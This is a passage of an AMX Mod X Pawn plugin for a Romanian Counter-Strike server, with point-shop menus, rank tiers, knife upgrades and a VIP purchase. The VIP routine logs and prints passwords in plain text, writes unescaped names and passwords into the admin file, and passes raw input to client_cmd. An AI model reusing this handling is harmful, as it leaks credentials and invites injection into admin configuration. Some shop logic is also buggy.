if(g_iUserCredits[id] >= C_R1||g_iUserCredits[id] <= C_R1) ranki_shop(id)
if(g_iUserCredits[id] >=C_R2) rankii_shop(id)
if(g_iUserCredits[id] >=C_R3) rankiii_shop(id)
if(g_iUserCredits[id] >=C_R4) rankiv_shop(id)
if(g_iUserCredits[id] >=C_R5) rankv_shop(id)
#endif
return PLUGIN_CONTINUE
}
public shopmenu(id, key) {
if(!is_user_alive(id)&&(key!=4||key!=5)) return PLUGIN_HANDLED
switch(key)
{
case 0:
{
if(g_iUserCredits[id]<100)
{
ColorChat(id, GREEN, "^4%s^1 Nu ai suficiente^3 Puncte^1.",g_szTag)
return PLUGIN_HANDLED
}
set_user_health(id,get_user_health(id)+50)
set_user_armor(id,get_user_armor(id)+50)
cs_set_user_money(id,cs_get_user_money(id)+3,1)
g_iUserCredits[id]-=100
ColorChat(id, NORMAL, "^4%s^1 Ai ales^3 50HP+50AP+3$ Medic^1 pentru^4 100P",g_szTag)
accesari[id]++
}
case 1:
{
if(have_speed[id]) return PLUGIN_HANDLED
if(g_iUserCredits[id]<80)
{
ColorChat(id, GREEN, "^4%s^1 Nu ai suficiente^3 Puncte^1.",g_szTag)
return PLUGIN_HANDLED
}
set_user_maxspeed(id,350.0)
set_task(15.0,"RemoveSPEED",id)
have_speed[id]=true
g_iUserCredits[id]-=80
ColorChat(id, NORMAL, "^4%s^1 Ai ales^3 350 SPEED^1 timp de^4 15S^1 pentru^3 80P",g_szTag)
accesari[id]++
}
case 2:
{
if(g_iUserCredits[id]<150)
{
ColorChat(id, GREEN, "^4%s^1 Nu ai suficiente^3 Puncte^1.",g_szTag)
return PLUGIN_HANDLED
}
set_user_rendering(id,kRenderFxNone,0,0,0,kRenderTransAlpha,13)
set_task(15.0,"RemoveINVIS",id)
g_iUserCredits[id]-=150
ColorChat(id, NORMAL, "^4%s^1 Ai ales^3 80% Invizibilitate^1 timp de^4 15S^1 pentru^3 150P",g_szTag)
accesari[id]++
}
case 3:
{
if(have_gravity[id]) return PLUGIN_HANDLED
if(g_iUserCredits[id]<200)
{
ColorChat(id, GREEN, "^4%s^1 Nu ai suficiente^3 Puncte^1.",g_szTag)
return PLUGIN_HANDLED
}
set_user_gravity(id, 400.0/get_cvar_float("sv_gravity"))
set_task(40.0,"RemoveGRAV",id)
have_gravity[id]=true
g_iUserCredits[id]-=200
ColorChat(id, NORMAL, "^4%s^1 Ai ales^3 -400 GRAVITY^1 timp de^4 40S^1 pentru^3 200P",g_szTag)
accesari[id]++
}
case 4:
{
if(is_user_alive(id)) return PLUGIN_HANDLED
if(g_iUserCredits[id]<150)
{
ColorChat(id, GREEN, "^4%s^1 Nu ai suficiente^3 Puncte^1.",g_szTag)
return PLUGIN_HANDLED
}
if(respawn_on[id]>0)
{
ColorChat(id,NORMAL,"[HNS.PLAY-ARENA.RO] Ai cumparat deja Respawn! mai ai de asteptat %d rund%s pentru a cumpara iar.",respawn_on[id],respawn_on[id]==1?"a":"e")
return PLUGIN_HANDLED
}
ExecuteHam( Ham_CS_RoundRespawn, id );
respawn_on[id]=3
start_round_count[id]=1
g_iUserCredits[id]-=150
ColorChat(id, NORMAL, "^4%s^1 Ai ales^3 RESPAWN^1 pentru^4 150P",g_szTag)
accesari[id]++
}
case 5:
{
if(is_user_admin(id)/*get_user_flags(id)&read_flags("p")*/)
{
ColorChat(id, NORMAL, "^4%s^1 Ai deja^3 acces^1!",g_szTag)
return PLUGIN_HANDLED
}
if(g_iUserCredits[id]<5000)
{
ColorChat(id, GREEN, "^4%s^1 Nu ai suficiente^3 Puncte^1.",g_szTag)
return PLUGIN_HANDLED
}
g_Password[id] = true;
ColorChat(id, NORMAL, "^4%s^1 Ai cumparat^3 VIP^1 pentru^4 5000P^1 timp de^3 14Zile",g_szTag)
client_cmd(id, "messagemode amx_buy_vipg1");
ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
g_iUserCredits[id]-=5000
accesari[id]++
}
case 6:
{
if(g_iUserCredits[id]<350)
{
ColorChat(id, GREEN, "^4%s^1 Nu ai suficiente^3 Puncte^1.",g_szTag)
return PLUGIN_HANDLED
}
if(arme1[id]>0)
{
ColorChat(id,NORMAL,"[HNS.PLAY-ARENA.RO] Ai cumparat deja USP 3GL + 2HE + 2SMK + 10HP! Mai ai de asteptat %d rund%s pentru a le cumpara iar.",arme1[id],
arme1[id]==1?"a":"e")
return PLUGIN_HANDLED
}
give_item(id,"weapon_usp")
give_item(id,"weapon_hegrenade")
give_item(id,"weapon_hegrenade")
give_item(id,"weapon_smokegrenade")
give_item(id,"weapon_smokegrenade")
static usp
usp = fm_find_ent_by_owner(-1, "weapon_usp", id)
if(is_valid_ent(usp))
{
cs_set_weapon_ammo(usp,3)
cs_set_user_bpammo(id,CSW_USP,0)
}
set_user_health(id,get_user_health(id)+10)
arme1[id]=3
start_round_count[id]=2
ColorChat(id,NORMAL,"[HNS.PLAY-ARENA.RO] Ai cumparat USP 3GL + 2HE + 2SMK + 10HP")
g_iUserCredits[id]-=350
accesari[id]++
}
case 7:
{
if(g_iUserCredits[id]<500)
{
ColorChat(id, GREEN, "^4%s^1 Nu ai suficiente^3 Puncte^1.",g_szTag)
return PLUGIN_HANDLED
}
if(arme2[id]>0)
{
ColorChat(id,NORMAL,"[HNS.PLAY-ARENA.RO] Ai cumparat deja AK47 5GL + 1HE + 1SMK! Mai ai de asteptat %d rund%s pentru a cumpara iar.",arme2[id],arme2[id]==1?"a":"e")
return PLUGIN_HANDLED
}
give_item(id,"weapon_ak47")
give_item(id,"weapon_hegrenade")
give_item(id,"weapon_smokegrenade")
static ak47
ak47 = fm_find_ent_by_owner(-1, "weapon_ak47", id)
if(is_valid_ent(ak47))
{
cs_set_weapon_ammo(ak47,5)
cs_set_user_bpammo(id,CSW_AK47,0)
}
arme2[id]=3
start_round_count[id]=3
g_iUserCredits[id]-=500
ColorChat(id,NORMAL,"[HNS.PLAY-ARENA.RO] Ai cumparat AK47 5GL + 1HE + 1SMK")
accesari[id]++
}
case 8:
{
if(g_iUserCredits[id]<800)
{
ColorChat(id, GREEN, "^4%s^1 Nu ai suficiente^3 Puncte^1.",g_szTag)
return PLUGIN_HANDLED
}
if(arme3[id]>0)
{
ColorChat(id,NORMAL,"[HNS.PLAY-ARENA.RO] Ai cumparat deja AWP 4GL + 2HE + 1SMK + 10HP + 3$Medic! Mai ai de asteptat %d rund%s",arme3[id],arme3[id]==1?"a":"e")
return PLUGIN_HANDLED
}
give_item(id,"weapon_awp")
give_item(id,"weapon_hegrenade")
give_item(id,"weapon_hegrenade")
give_item(id,"weapon_smokegrenade")
static awp
awp = fm_find_ent_by_owner(-1, "weapon_awp", id)
if(is_valid_ent(awp))
{
cs_set_weapon_ammo(awp,4)
cs_set_user_bpammo(id,CSW_AWP,0)
}
set_user_health(id,get_user_health(id)+10)
cs_set_user_money(id,cs_get_user_money(id)+3,1)
arme3[id]=3
start_round_count[id]=4
g_iUserCredits[id]-=800
ColorChat(id,NORMAL,"[HNS.PLAY-ARENA.RO] Ai cumparat AWP 4GL + 2HE + 1SMK + 10HP + 3$Medic")
accesari[id]++
}
default: return PLUGIN_HANDLED
}
return PLUGIN_HANDLED
}
public ClCmdSayK(id)
{
new menuBody[512]
add(menuBody, charsmax(menuBody), "\w[\rHNS.PLAY-ARENA.RO\w -\r KNIFE SYSTEM\w]^n^n")
add(menuBody, charsmax(menuBody), "\r(\w1\r)\w -\r Knife Level I\w [\r +10 DMG +5 speed\w ] [\r 5k/points\w ]^n")
add(menuBody, charsmax(menuBody), "\r(\w2\r)\w -\r Knife Level II\w [\r +20 DMG +10 speed\w ] [\r 10k/points\w ]^n")
add(menuBody, charsmax(menuBody), "\r(\w3\r)\w -\r Knife Level III\w [\r +30 DMG +20 speed\w ] [\r 30k/points\w ]^n^n")
//add(menuBody, charsmax(menuBody), "\r(\w4\r)\w -\r V.I.P\w -\r G1\w [\r 50k/points\w ] [\r available\w ] [\r 3/weeks\w ]^n^n")
add(menuBody, charsmax(menuBody), "\w0.\r Iesire")
new keys = ( 1<<0 | 1<<1 | 1<<2 /*|1<<3*/| 1<<9 )
show_menu(id, keys, menuBody, -1, "Knife Mod")
}
public knifemenu(id, key) {
if(!is_user_alive(id)) return PLUGIN_HANDLED
switch(key)
{
case 0:
{
if(g_iUserCredits[id]<5000)
{
ColorChat(id,NORMAL,"^3[HNS.PLAY-ARENA.RO]^1 Nu ai destule^3 puncte^1 pentru a cumpara acest^4 KNIFE^1 !")
return PLUGIN_HANDLED
}
if(k1[id]||Level[id]<1) return PLUGIN_HANDLED
g_iUserCredits[id]-=5000
k1[id]=true
ColorChat(id,NORMAL,"^4[HNS.PLAY-ARENA.RO]^1 Ai cumparat:^4 Knife Level I")
}
case 1:
{
if(g_iUserCredits[id]<10000)
{
ColorChat(id,NORMAL,"^3[HNS.PLAY-ARENA.RO]^1 Nu ai destule^3 puncte^1 pentru a cumpara acest^4 KNIFE^1 !")
return PLUGIN_HANDLED
}
if(k2[id]||Level[id]<2) return PLUGIN_HANDLED
g_iUserCredits[id]-=10000
k2[id]=true
ColorChat(id,NORMAL,"^4[HNS.PLAY-ARENA.RO]^1 Ai cumparat:^4 Knife Level II")
}
case 2:
{
if(g_iUserCredits[id]<30000)
{
ColorChat(id,NORMAL,"^3[HNS.PLAY-ARENA.RO]^1 Nu ai destule^3 puncte^1 pentru a cumpara acest^4 KNIFE^1 !")
return PLUGIN_HANDLED
}
if(k3[id]||Level[id]<3) return PLUGIN_HANDLED
g_iUserCredits[id]-=30000
k3[id]=true
ColorChat(id,NORMAL,"^4[HNS.PLAY-ARENA.RO]^1 Ai cumparat:^4 Knife Level III")
}
/*case 3:
{
if(g_iUserCredits[id]<50000)
{
ColorChat(id,NORMAL,"^3[HNS.PLAY-ARENA.RO]^1 Nu ai destule^3 puncte^1 pentru a cumpara^4 V.I.P")
return PLUGIN_HANDLED
}
if(is_user_admin(id)) return PLUGIN_HANDLED
g_iUserCredits[id]-=50000
g_Password[id] = true;
client_cmd(id, "messagemode amx_buy_vipg1");
ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
ColorChat(id,NORMAL,"^4[HNS.PLAY-ARENA.RO]^1 Ai cumparat:^4 V.I.P G-1^1 valabil 3/weeks")
}*/
}
return PLUGIN_HANDLED
}
public buy_vip_g1(id)
{
if (!g_Password[id]||is_user_admin(id)/*get_user_flags(id)&read_flags("p")*/)
{
ColorChat(id, GREY, "^x04[Buy VIP] ^x01You can't buy !!!")
return PLUGIN_HANDLED;
}
read_args(szPassword, 34);
remove_quotes(szPassword);
//trim
if (equal(szPassword, ""))//da
{
ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
client_cmd(id, "messagemode amx_buy_vipg1");
return PLUGIN_HANDLED;
}
g_Password[id] = false;
client_print(id, print_console, "[Buy VIP G1] Your password: %s", szPassword);
client_print(id, print_console, "[Buy VIP G1] Your password: %s", szPassword);
client_print(id, print_console, "[Buy VIP G1] Your password: %s", szPassword);
client_print(id, print_console, "[Buy VIP G1] Your password: %s", szPassword);
if(cvar_exists("amx_password_field")) get_cvar_string("amx_password_field",spw,charsmax(spw))
else log_to_file("buy_vip.log", "NU AM GASIT CVARUL `amx_password_field`");
client_cmd(id, "setinFO %s %s",spw, szPassword)
set_user_flags(id,read_flags("ak"))
#if NEW_STYLE!=1
formatex(text,charsmax(text),"^n^"%s^" ^"%s^" ^"p^" ^"ak^" ; VIP G1 CUMPARAT DE LA KNIVES !!!!", g_szName[id], szPassword)
write_file("addons/amxmodx/configs/users.ini",text)
log_to_file("buy_vip_g1.log", "%s bought G1. Password, Is %s", g_szName[id], szPassword);
server_cmd("amx_reloadadmins");
server_exec();
#else
new yearx,monthx,dayx//fara format la lună??
date(yearx,monthx,dayx)
//new ***[65]//for monthx..
//new flage[35]
if(dayx+14>28)
{
dayx=28-dayx<=0?1:dayx//01
}
else dayx=dayx+14
if(monthx+1>12)
{
//***="01"
yearx=yearx+1
}
else
{
monthx=monthx+1
/*if(monthx<=9) formatex(***,charsmax(***),"0%d",monthx)
//else formatex(***,charsmax(***),monthx)
*/
}
/*if(is_user_admin(id))
{
get_flags(get_user_flags(id),flage,charsmax(flage))
formatex(***,charsmax(***),"%sp",flageget_user_flags(id))
}
else ***="p"*/
formatex(text,charsmax(text),"^"%s^" ^"%s^" ^"p^" ^"ak^" ^"1^" ^"%d.%d.%d^"", g_szName[id], szPassword,dayx,monthx,yearx)
write_file("addons/amxmodx/configs/users_custom.ini",text)
log_to_file("buy_vips.log", "%s bought VIP. Password, Is %s", g_szName[id], szPassword);
LoadAdmins();
checkAdmin(id/*,g_szName[id]*/)
#endif
return PLUGIN_HANDLED;
}
public Player_TakeDamage( iVictim, iInflictor, iAttacker, Float:fDamage )
{
if( is_user_alive( iAttacker ) && iInflictor == iAttacker && k1[iAttacker] && get_user_weapon( iAttacker ) == CSW_KNIFE )
{
SetHamParamFloat( 4, fDamage * 1.0 );
return HAM_HANDLED;
}
if( is_user_alive( iAttacker ) && iInflictor == iAttacker && k2[iAttacker] && get_user_weapon( iAttacker ) == CSW_KNIFE )
{
SetHamParamFloat( 4, fDamage * 2.0 );
return HAM_HANDLED;
}
if( is_user_alive( iAttacker ) && iInflictor == iAttacker && k3[iAttacker] && get_user_weapon( iAttacker ) == CSW_KNIFE )
{
SetHamParamFloat( 4, fDamage * 3.0 );
return HAM_HANDLED;
}
return HAM_IGNORED;
}
public plugin_natives()
{
//register_library( "pts" );
register_native( "get_user_points", "_get_user_points" );
register_native( "set_user_points", "_set_user_points" );
}
public _get_user_points( iPlugin, iParams ) return g_iUserCredits[ get_param( 1 ) ];
public _set_user_points( iPlugin, iParams )
{
new id = get_param( 1 );
g_iUserCredits[ id ] = max( 0, get_param( 2 ) );
SaveCredits( id );
return g_iUserCredits[ id ];
}
public client_putinserver( id )
{
if( is_user_bot( id ) || is_user_hltv( id ) )
return PLUGIN_HANDLED;
g_iUserTime[ id ] = 0;
get_user_name( id, g_szName[ id ], sizeof ( g_szName[] ) -1 );
LoadCredits( id );
#if NEW_STYLE!=1
respawn_on[id]=true
#else
// for listen servers, check host access
if(get_cvar_num("amx_mode") && !is_dedicated_server() && id == 1) {
DebugLog("%s", gSeparator);
DebugLog("Host connected %d", id);
// check admin for host
checkAdmin(id);
}
#endif
set_task(TIME,"RefreshTime",id,_,_,"b"/*,0*/);
return PLUGIN_CONTINUE;
}
public client_disconnect( id )
{
if( is_user_bot( id ) || is_user_hltv( id ) )
return PLUGIN_HANDLED;
g_iUserTime[ id ] = 0;
g_Password[id]=false
have_speed[id]=false
have_gravity[id]=false
respawn_on[id]=false
accesari[id]=false
k1[id]=false
k2[id]=false
k3[id]=false
#if NEW_STYLE!=1
if(gold_ak[id]) gold_ak[id]=false
if(start_round_count[id]) start_round_count[id]=false
if(respawn_count1[id]) respawn_count1[id]=0
if(respawn_count2[id]) respawn_count2[id]=0
if(choosed1[id]) choosed1[id]=0
if(choosed2[id]) choosed2[id]=0
if(choosed3[id]) choosed3[id]=0
if(choosed4[id]) choosed4[id]=0
if(choosed5[id]) choosed5[id]=0
#endif
SaveCredits( id );
//g_iUserCredits[id]=0
//Level[id]=0
return PLUGIN_CONTINUE;
}
public cmdRank(id)
{
read_argv( 1, szArg, sizeof ( szArg ) -1 );
if( equal( szArg, "" ) )
{
CheckLevel(id)
ColorChat(id, NORMAL, "^3[Ranks]^1:^4 %s^1 | Points:^4 %d^1 | Level:^4 %d^1.", Prefix[Level[id]], g_iUserCredits[id], Level[id])
}
else
{
iPlayer = cmd_target( id, szArg, 8 );
if( !iPlayer || !is_user_connected( iPlayer ) )
{
ColorChat( id, RED,"^x04%s^x01 Jucatorul specificat nu a fost gasit!", g_szTag, szArg );
return PLUGIN_HANDLED
}
CheckLevel(iPlayer)
ColorChat(id, NORMAL, "^3[Ranks]^4 %s^1:^3 %s^1 | Points:^4 %d^1 | Level:^3 %d^1.",g_szName[iPlayer], Prefix[Level[iPlayer]], g_iUserCredits[iPlayer], Level[iPlayer])
}
return PLUGIN_HANDLED
}
#if NEW_STYLE!=1
public ranki_shop(id)
{
formatex(titlex,charsmax(titlex),"%s",TITLE_RANKI)
Menu = menu_create(titlex, "r1_features")
menu_additem(Menu, "10HP [ 3 PUNCTE ]", "1", 0)
menu_additem(Menu, "15HP+25AP [ 8 PUNCTE ]", "2", 0)
menu_additem(Menu, "3$ Medic [ 5 PUNCTE ]", "3", 0)
menu_setprop(Menu, MPROP_EXIT, MEXIT_ALL);
menu_display(id, Menu, 0);
}
public r1_features(id, menu, item)
{
if(item == MENU_EXIT || !is_user_alive(id)) {
menu_destroy(menu);
return PLUGIN_HANDLED;
}
new Data[6], Name[64];
new Access, CallBack;
menu_item_getinfo(menu, item, Access, Data,5, Name, 63, CallBack);
new Key = str_to_num(Data);
choosed1[id]++
switch(Key) {
case 1:
{
if(g_iUserCredits[id]>=3)
{
set_user_health(id,get_user_health(id)+10)
g_iUserCredits[id]-=3
ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 +10^1HP pentru^4 3^1Puncte !",g_szTag)
}
else ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
}
case 2:
{
if(g_iUserCredits[id]>=8)
{
set_user_health(id,get_user_health(id)+15)
set_user_armor(id,get_user_armor(id)+25)
g_iUserCredits[id]-=8
ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 +15^1HP &^4 +25^1AP pentru^3 8^1Puncte !",g_szTag)
}
else ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
}
case 3:
{
if(g_iUserCredits[id]>=5)
{
cs_set_user_money(id,cs_get_user_money(id)+3,1)
g_iUserCredits[id]-=5
ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 +3^1$ pentru^4 5^1Puncte !",g_szTag)
}
else ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
}
}
menu_destroy(menu)
return PLUGIN_HANDLED
}
public rankii_shop(id)
{
formatex(titlex,charsmax(titlex),"%s",TITLE_RANKII)
Menu = menu_create(titlex, "r2_features")
menu_additem(Menu, "25HP+50AP [ 20 PUNCTE ]", "1", 0)
menu_additem(Menu, "5$ Medic [ 10 PUNCTE ]", "2", 0)
menu_additem(Menu, "3HE [ 8 PUNCTE ]", "3", 0)
menu_additem(Menu, "1GL DEAGLE [ 5 PUNCTE ]", "4", 0)
menu_setprop(Menu, MPROP_EXIT, MEXIT_ALL);
menu_display(id, Menu, 0);
}
public r2_features(id, menu, item)
{
if(item == MENU_EXIT || !is_user_alive(id)) {
menu_destroy(menu);
return PLUGIN_HANDLED;
}
new Data[6], Name[64];
new Access, CallBack;
menu_item_getinfo(menu, item, Access, Data,5, Name, 63, CallBack);
new Key = str_to_num(Data);
choosed2[id]++
switch(Key) {
case 1:
{
if(g_iUserCredits[id]>=20)
{
set_user_health(id,get_user_health(id)+25)
set_user_armor(id,get_user_armor(id)+50)
g_iUserCredits[id]-=20
ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 +25^1HP &^4 +50^1AP pentru^3 20^1Puncte !",g_szTag)
}
else ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
}
case 2:
{
if(g_iUserCredits[id]>=10)
{
cs_set_user_money(id,cs_get_user_money(id)+5,1)
g_iUserCredits[id]-=10
ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 +5^1$ pentru^4 10^1Puncte !",g_szTag)
}
else ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
}
case 3:
{
if(g_iUserCredits[id]>=8)
{
give_item(id,"weapon_hegrenade")
cs_set_user_bpammo( id, CSW_HEGRENADE, 3 );
g_iUserCredits[id]-=8
ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 +3^1HE pentru^4 8^1Puncte !",g_szTag)
}
else ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
}
case 4:
{
if(g_iUserCredits[id]>=5)
{
static deagle
deagle = fm_find_ent_by_owner(-1, "weapon_deagle", id)
if(is_valid_ent(deagle)) cs_set_weapon_ammo(deagle,cs_get_weapon_ammo(deagle)+1)
g_iUserCredits[id]-=5
ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 +1GL^1 Deagle pentru^4 5^1Puncte !",g_szTag)
}
else ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
}
}
menu_destroy(menu)
return PLUGIN_HANDLED
}
public rankiii_shop(id)
{
formatex(titlex,charsmax(titlex),"%s",TITLE_RANKIII)
Menu = menu_create(titlex, "r3_features")
menu_additem(Menu, "35HP+70AP [ 25 PUNCTE ]", "1", 0)
menu_additem(Menu, "7$ Medic+2HE&2SM [ 35 PUNCTE ]", "2", 0)
menu_additem(Menu, "Scout 2GL [ 35 PUCNTE ]", "3", 0)
menu_additem(Menu, "3GL Deagle [ 45 PUNCTE ]", "4", 0)
menu_additem(Menu, "1 Revive (Respawn) [ 70 PUNCTE ] / 1Round", "5", 0)
menu_setprop(Menu, MPROP_EXIT, MEXIT_ALL);
menu_display(id, Menu, 0);
}
public r3_features(id, menu, item)
{
if(item == MENU_EXIT) {
menu_destroy(menu);
return PLUGIN_HANDLED;
}
new Data[6], Name[64];
new Access, CallBack;
menu_item_getinfo(menu, item, Access, Data,5, Name, 63, CallBack);
new Key = str_to_num(Data);
choosed3[id]++
switch(Key) {
case 1:
{
if(!is_user_alive(id))
{
ColorChat(id, NORMAL, "^4%s^1 Trebuie sa fi^3 VIU^1 pentru a^4 Cumpara^1!",g_szTag)
return PLUGIN_HANDLED
}
if(g_iUserCredits[id]>=25)
{
set_user_health(id,get_user_health(id)+35)
set_user_armor(id,get_user_armor(id)+70)
g_iUserCredits[id]-=25
ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 +35^1HP &^4 +70^1AP pentru^4 25^1Puncte !",g_szTag)
}
else ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
}
case 2:
{
if(!is_user_alive(id))
{
ColorChat(id, NORMAL, "^4%s^1 Trebuie sa fi^3 VIU^1 pentru a^4 Cumpara^1!",g_szTag)
return PLUGIN_HANDLED
}
if(g_iUserCredits[id]>=35)
{
cs_set_user_money(id,cs_get_user_money(id)+7,1)
give_item(id,"weapon_hegrenade")
cs_set_user_bpammo( id, CSW_HEGRENADE, 2 );
give_item(id,"weapon_smokegrenade")
cs_set_user_bpammo( id, CSW_SMOKEGRENADE, 2 );
g_iUserCredits[id]-=35
ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 +7^1$ &^4 +2^1HE&SM pentru^3 35^1Puncte !",g_szTag)
}
else ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
}
case 3:
{
if(!is_user_alive(id))
{
ColorChat(id, NORMAL, "^4%s^1 Trebuie sa fi^3 VIU^1 pentru a^4 Cumpara^1!",g_szTag)
return PLUGIN_HANDLED
}
if(g_iUserCredits[id]>=35)
{
give_item(id,"weapon_scout")
static scout
scout = fm_find_ent_by_owner(-1, "weapon_scout", id)
if(is_valid_ent(scout)) cs_set_weapon_ammo(scout,2)
g_iUserCredits[id]-=35
ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 SCOUT 2GL^1 pentru^4 35^1Puncte !",g_szTag)
}
else ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
}
case 4:
{
if(!is_user_alive(id))
{
ColorChat(id, NORMAL, "^4%s^1 Trebuie sa fi^3 VIU^1 pentru a^4 Cumpara^1!",g_szTag)
return PLUGIN_HANDLED
}
if(g_iUserCredits[id]>=45)
{
static deagle
deagle = fm_find_ent_by_owner(-1, "weapon_deagle", id)
if(is_valid_ent(deagle)) cs_set_weapon_ammo(deagle,cs_get_weapon_ammo(deagle)+3)
g_iUserCredits[id]-=45
ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 +3GL^1 Deagle pentru^4 45^1Puncte !",g_szTag)
}
else ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
}
case 5:
{
if(is_user_alive(id))
{
ColorChat(id, NORMAL, "^4%s^1 Esti deja^3 VIU^1!",g_szTag)
return PLUGIN_HANDLED
}
if(!respawn_on[id])
{
ColorChat(id, NORMAL, "^4%s^1 Ai^3 folosit^4 respawn^1 deja !",g_szTag)
return PLUGIN_HANDLED
}
if(g_iUserCredits[id]>=70)
{
start_round_count[id]=true
respawn_on[id]=false
ExecuteHam( Ham_CS_RoundRespawn, id );
g_iUserCredits[id]-=70
ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 Respawn^1 pentru^4 70^1Puncte !",g_szTag)
}
else ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
}
}
menu_destroy(menu)
return PLUGIN_HANDLED
}
public rankiv_shop(id)
{
formatex(titlex,charsmax(titlex),"%s",TITLE_RANKIV)
Menu = menu_create(titlex, "r4_features")
menu_additem(Menu, "50HP+50AP+3$ Medic [ 60 Puncte ]", "1", 0)
menu_additem(Menu, "9$ Medic+3HE&3SM [ 50 PUNCTE ]", "2", 0)
menu_additem(Menu, "AWP 1GL+30HP [ 70 PUNCTE ]", "3", 0)
menu_additem(Menu, "Speed 350 [ 30 PUNCTE ]", "4", 0)
menu_additem(Menu, "Invizibil 15 Secunde [ 80 PUNCTE ]", "5", 0)
menu_additem(Menu, "2 Revive (Respawn) [ 100 PUNCTE ] / 2Round", "6", 0)
menu_setprop(Menu, MPROP_EXIT, MEXIT_ALL);
menu_display(id, Menu, 0);
}
public r4_features(id, menu, item)
{
if(item == MENU_EXIT) {
menu_destroy(menu);
return PLUGIN_HANDLED;
}
new Data[6], Name[64];
new Access, CallBack;
menu_item_getinfo(menu, item, Access, Data,5, Name, 63, CallBack);
new Key = str_to_num(Data);
choosed4[id]++
switch(Key) {
case 1:
{
if(!is_user_alive(id))
{
ColorChat(id, NORMAL, "^4%s^1 Trebuie sa fi^3 VIU^1 pentru a^4 Cumpara^1!",g_szTag)
return PLUGIN_HANDLED
}
if(g_iUserCredits[id]>=60)
{
set_user_health(id,get_user_health(id)+50)
set_user_armor(id,get_user_armor(id)+50)
cs_set_user_money(id,cs_get_user_money(id)+3,1)
g_iUserCredits[id]-=60
ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 +50^1HP &^4 +50^1AP pentru^4 60^1Puncte !",g_szTag)
}
